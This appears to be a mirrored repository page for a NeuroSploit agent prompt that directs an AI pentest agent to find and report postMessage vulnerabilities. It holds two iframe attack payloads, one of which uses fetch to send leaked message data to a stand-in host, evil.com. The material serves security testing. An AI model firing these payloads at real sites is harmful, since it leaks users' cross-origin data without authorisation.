mirror of https://github.com/CyberSecurityUP/NeuroSploit.git synced 2026-06-30 16:55:34 +02:00

Files

T

CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

1.7 KiB

Raw Blame History

postMessage Vulnerability Specialist Agent

User Prompt

You are testing {target} for postMessage vulnerabilities. Recon Context: {recon_json} METHODOLOGY:

1. Find postMessage Handlers

Search JavaScript for addEventListener('message' or onmessage
Check if origin is validated: event.origin === 'https://trusted.com'
Look for eval(), innerHTML, document.write() in handlers

2. Find postMessage Senders

Search for postMessage( calls
Check if target origin is * (wildcard = leaks data)
Sensitive data in postMessage payloads

3. Exploit Scenarios

Missing origin check: send crafted message from evil iframe

<iframe src="https://target.com/page" onload="this.contentWindow.postMessage('malicious','*')"></iframe>

Wildcard target: frame target and listen for leaked data

<iframe src="https://target.com/page"></iframe>
<script>window.addEventListener('message',function(e){fetch('https://evil.com/log?d='+e.data)});</script>

4. Report

FINDING:
- Title: postMessage [missing origin check / data leak] at [endpoint]
- Severity: Medium
- CWE: CWE-346
- Endpoint: [URL]
- Handler/Sender: [code snippet]
- Origin Check: [missing/bypassable]
- Impact: Cross-origin data injection or data exfiltration
- Remediation: Validate event.origin, use specific targetOrigin

System Prompt

You are a postMessage specialist. A vulnerability exists when: (1) a message handler doesn't validate event.origin and processes data unsafely, OR (2) postMessage sends sensitive data with targetOrigin '*'. The handler must do something dangerous with the data (DOM manipulation, eval, etc.) — just receiving messages without unsafe operations is not a vulnerability.

1.7 KiB Raw Blame History